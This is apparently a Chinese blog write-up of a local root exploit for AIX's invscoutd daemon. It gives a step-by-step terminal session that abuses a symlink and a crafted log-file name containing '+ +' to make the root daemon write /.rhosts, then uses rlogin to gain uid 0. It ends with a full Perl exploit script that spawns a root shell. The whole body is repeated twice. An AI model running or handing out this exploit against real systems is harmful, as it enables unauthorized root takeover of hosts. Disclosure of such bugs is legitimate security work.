AIX捉虫记之__invscoutd
如果我们执行perl -e ''system invscoutd,"/tmp/bbbbb\n+ +\nddd";''
向log文件写入
+ +
成功，
但写入的文件是"/tmp/bbbbb\n+ +\nddd"，而我们现在期望是写到/.rhosts文件，
再想想…………
归纳一下，问题核心是想把A文件名写入B文件中，
Unix下的符号链接好像就是这个桥梁耶～
我们建立一个A -> B的符号连接不就行了!
ln -s B A
然后
invscoutd A
应该就成了。
开始行动：
-bash-2.05b$ ls -l /.rhosts
ls: 0653-341 The file /.rhosts does not exist.
建立A -> B的符号链接：
-bash-2.05b$ perl -e ''symlink "/.rhosts","/tmp/cc\n+ +\ndd";''
这里B是"/.rhosts"
A是"/tmp/cc\n+ +\ndd"
-bash-2.05b$ ls -l /tmp/cc*
lrwxrwxrwx 1 cloud staff 8 May 03 04:02 /tmp/cc
+ +
dd -> /.rhosts
来，执行之
-bash-2.05b$ perl -e ''system invscoutd,"/tmp/cc\n+ +\ndd";''
Inventory Scout Version 1.3.0.0
Logic Database Version 1.3.0.0
Exit code 2, pid 536968072.
-bash-2.05b$ ps -ef |grep invsc
cloud 16282 1 0 03:59:27 - 0:00 invscoutd /tmp/bbbbb?+ +?ddd
cloud 17146 15338 1 04:03:40 pts/0 0:00 grep invsc
-bash-2.05b$ kill -9 16282
-bash-2.05b$ perl -e ''system invscoutd,"/tmp/cc\n+ +\ndd";''
Inventory Scout Version 1.3.0.0
Logic Database Version 1.3.0.0
Start invscoutd 2.0.2:
p=808 u=0 v=18 t=30 d=50000 pid=17150
flog=/tmp/cc
+ +
dd
看看文件生成了没有：
-bash-2.05b$ ls -l /.rhosts
-rw-r--r-- 1 root staff 598 May 03 04:03 /.rhosts
ok，来继续看看内容:
-bash-2.05b$ cat /.rhosts
2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0
2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Logic Database Version 1.3.0.0
2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Bind error, port 808: The socket name is already in use..
2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Exit code 2, pid 536968072.
2003/05/03 04:03:48 G14270:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0
2003/05/03 04:03:48 G14270:invscoutd_2.0.2 Logic Database Version 1.3.0.0
2003/05/03 04:03:48 P17150:invscoutd_2.0.2 Start invscoutd 2.0.2:
p=808 u=0 v=18 t=30 d=50000 pid=17150
flog=/tmp/cc
+ +
dd
呵呵+ +写进去了!!!
来，用root用户 rlogin localhost登陆系统，这样就能取得root权限了：
-bash-2.05b$ rlogin -l root localhost
usage: rlogin host [ -ex ] [ -l username ] [-f|-F] [-k realm] [ -8 ]
faint ! 一高兴起来就连命令格式都给忘了 :(
再来：
-bash-2.05b$ rlogin localhost -l root
*******************************************************************************
* *
* *
* Welcome to AIX Version 5.1! *
* *
* *
* Please see the README file in /usr/lpp/bos for information pertinent to *
* this release of the AIX Operating System. *
* *
* *
*******************************************************************************
…………
-bash-2.05b# <--好爽的特权"#"提示附耶！
-bash-2.05b# id
uid=0(root) gid=0(system) groups=2(bin),3(sys),7(security),8(cron),10(audit),11(lp)
哈哈哈～～搞定啦～～偶麻雀变root啦～～
学了这么多年的Unix知识终于没白学呀～～
热泪盈框ing ……
继续感动ing……
◎！＃◎％￥＃％，还在陶醉~~！ ！ ！
好啦～好啦～自恋狂！该干活啦～～
简单清理战场～
-bash-2.05b# rm /.rhosts
-bash-2.05b# rm /tmp/bb* /tmp/cc*
-bash-2.05b# ps -ef |grep invsc
cloud 14306 15338 1 04:05:51 pts/0 0:00 grep invsc
cloud 17150 1 0 04:03:48 - 0:00 invscoutd /tmp/cc?+ +?dd
-bash-2.05b# kill -9 17150
-bash-2.05b#
还看呀？！已经拉下帷幕了，都是后台操作了！
^_^
================================ 后记 ===============================
这个漏洞在Aix4.x上也存在，去年一个罗马IBM的工程师给我讲高版本的invscoutd
系统 没有这个安全bug了，但最近我重装了一个5.1 update到2004-5月出的ML06后
还是有这个问题，比较奇怪 :-(
最后附上根据以上内容编写的利用程序 x_aix4x-5l_invscoutd.pl
#!/usr/bin/perl
# FileName: x_invscoutd.pl
# Exploit invscoutd of Aix4.x & 5L to get a uid=0 shell.
# Tested : on Aix4.3.3 & Aix5.1.
# Some high version of invscoutd is not affected.
# Author : watercloud@nsfocus.com
# watercloud@xfocus.org
# Date : 2003-5-29
# Announce: use as your owner risk!
$LOG="/tmp/.ex/.hello\n+ +\nworld";
$CMD="/usr/sbin/invscoutd";
umask 022;
mkdir "/tmp/.ex",0777;
print "Exploit error on kill process invscoutd !!" ,exit 1
if &killproc() == 0;
symlink "/.rhosts",$LOG;
system $CMD,"-p7321",$LOG; &killproc();
unlink $LOG;
print "\n============\nRemember to remove /.rhosts !!\n";
print "rsh localhost -l root ''/bin/sh -i''\n";
print "waiting . . . . . .\n";
system "rsh","localhost","-l","root","/bin/sh -i";
system $CMD,"-p808","/dev/null" ; &killproc();
rmdir "/tmp/.ex";
sub killproc() {
$_=`ps -ef |grep invscoutd |grep -v grep |grep -v perl`;
@proc_lst=split;
$ret=kill 9,$proc_lst[1] if $proc_lst[1];
$ret=-1 if ! defined $ret;
return $ret;
}
#EOF
http://netadmin.77169.com/HTML/20050730015700.html
向log文件写入
+ +
成功，
但写入的文件是"/tmp/bbbbb\n+ +\nddd"，而我们现在期望是写到/.rhosts文件，
再想想…………
归纳一下，问题核心是想把A文件名写入B文件中，
Unix下的符号链接好像就是这个桥梁耶～
我们建立一个A -> B的符号连接不就行了!
ln -s B A
然后
invscoutd A
应该就成了。
开始行动：
-bash-2.05b$ ls -l /.rhosts
ls: 0653-341 The file /.rhosts does not exist.
建立A -> B的符号链接：
-bash-2.05b$ perl -e ''symlink "/.rhosts","/tmp/cc\n+ +\ndd";''
这里B是"/.rhosts"
A是"/tmp/cc\n+ +\ndd"
-bash-2.05b$ ls -l /tmp/cc*
lrwxrwxrwx 1 cloud staff 8 May 03 04:02 /tmp/cc
+ +
dd -> /.rhosts
来，执行之
-bash-2.05b$ perl -e ''system invscoutd,"/tmp/cc\n+ +\ndd";''
Inventory Scout Version 1.3.0.0
Logic Database Version 1.3.0.0
Exit code 2, pid 536968072.
-bash-2.05b$ ps -ef |grep invsc
cloud 16282 1 0 03:59:27 - 0:00 invscoutd /tmp/bbbbb?+ +?ddd
cloud 17146 15338 1 04:03:40 pts/0 0:00 grep invsc
-bash-2.05b$ kill -9 16282
-bash-2.05b$ perl -e ''system invscoutd,"/tmp/cc\n+ +\ndd";''
Inventory Scout Version 1.3.0.0
Logic Database Version 1.3.0.0
Start invscoutd 2.0.2:
p=808 u=0 v=18 t=30 d=50000 pid=17150
flog=/tmp/cc
+ +
dd
看看文件生成了没有：
-bash-2.05b$ ls -l /.rhosts
-rw-r--r-- 1 root staff 598 May 03 04:03 /.rhosts
ok，来继续看看内容:
-bash-2.05b$ cat /.rhosts
2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0
2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Logic Database Version 1.3.0.0
2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Bind error, port 808: The socket name is already in use..
2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Exit code 2, pid 536968072.
2003/05/03 04:03:48 G14270:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0
2003/05/03 04:03:48 G14270:invscoutd_2.0.2 Logic Database Version 1.3.0.0
2003/05/03 04:03:48 P17150:invscoutd_2.0.2 Start invscoutd 2.0.2:
p=808 u=0 v=18 t=30 d=50000 pid=17150
flog=/tmp/cc
+ +
dd
呵呵+ +写进去了!!!
来，用root用户 rlogin localhost登陆系统，这样就能取得root权限了：
-bash-2.05b$ rlogin -l root localhost
usage: rlogin host [ -ex ] [ -l username ] [-f|-F] [-k realm] [ -8 ]
faint ! 一高兴起来就连命令格式都给忘了 :(
再来：
-bash-2.05b$ rlogin localhost -l root
*******************************************************************************
* *
* *
* Welcome to AIX Version 5.1! *
* *
* *
* Please see the README file in /usr/lpp/bos for information pertinent to *
* this release of the AIX Operating System. *
* *
* *
*******************************************************************************
…………
-bash-2.05b# <--好爽的特权"#"提示附耶！
-bash-2.05b# id
uid=0(root) gid=0(system) groups=2(bin),3(sys),7(security),8(cron),10(audit),11(lp)
哈哈哈～～搞定啦～～偶麻雀变root啦～～
学了这么多年的Unix知识终于没白学呀～～
热泪盈框ing ……
继续感动ing……
◎！＃◎％￥＃％，还在陶醉~~！ ！ ！
好啦～好啦～自恋狂！该干活啦～～
简单清理战场～
-bash-2.05b# rm /.rhosts
-bash-2.05b# rm /tmp/bb* /tmp/cc*
-bash-2.05b# ps -ef |grep invsc
cloud 14306 15338 1 04:05:51 pts/0 0:00 grep invsc
cloud 17150 1 0 04:03:48 - 0:00 invscoutd /tmp/cc?+ +?dd
-bash-2.05b# kill -9 17150
-bash-2.05b#
还看呀？！已经拉下帷幕了，都是后台操作了！
^_^
================================ 后记 ===============================
这个漏洞在Aix4.x上也存在，去年一个罗马IBM的工程师给我讲高版本的invscoutd
系统 没有这个安全bug了，但最近我重装了一个5.1 update到2004-5月出的ML06后
还是有这个问题，比较奇怪 :-(
最后附上根据以上内容编写的利用程序 x_aix4x-5l_invscoutd.pl
#!/usr/bin/perl
# FileName: x_invscoutd.pl
# Exploit invscoutd of Aix4.x & 5L to get a uid=0 shell.
# Tested : on Aix4.3.3 & Aix5.1.
# Some high version of invscoutd is not affected.
# Author : watercloud@nsfocus.com
# watercloud@xfocus.org
# Date : 2003-5-29
# Announce: use as your owner risk!
$LOG="/tmp/.ex/.hello\n+ +\nworld";
$CMD="/usr/sbin/invscoutd";
umask 022;
mkdir "/tmp/.ex",0777;
print "Exploit error on kill process invscoutd !!" ,exit 1
if &killproc() == 0;
symlink "/.rhosts",$LOG;
system $CMD,"-p7321",$LOG; &killproc();
unlink $LOG;
print "\n============\nRemember to remove /.rhosts !!\n";
print "rsh localhost -l root ''/bin/sh -i''\n";
print "waiting . . . . . .\n";
system "rsh","localhost","-l","root","/bin/sh -i";
system $CMD,"-p808","/dev/null" ; &killproc();
rmdir "/tmp/.ex";
sub killproc() {
$_=`ps -ef |grep invscoutd |grep -v grep |grep -v perl`;
@proc_lst=split;
$ret=kill 9,$proc_lst[1] if $proc_lst[1];
$ret=-1 if ! defined $ret;
return $ret;
}
#EOF
http://netadmin.77169.com/HTML/20050730015700.html
0
相关文章
关注我们
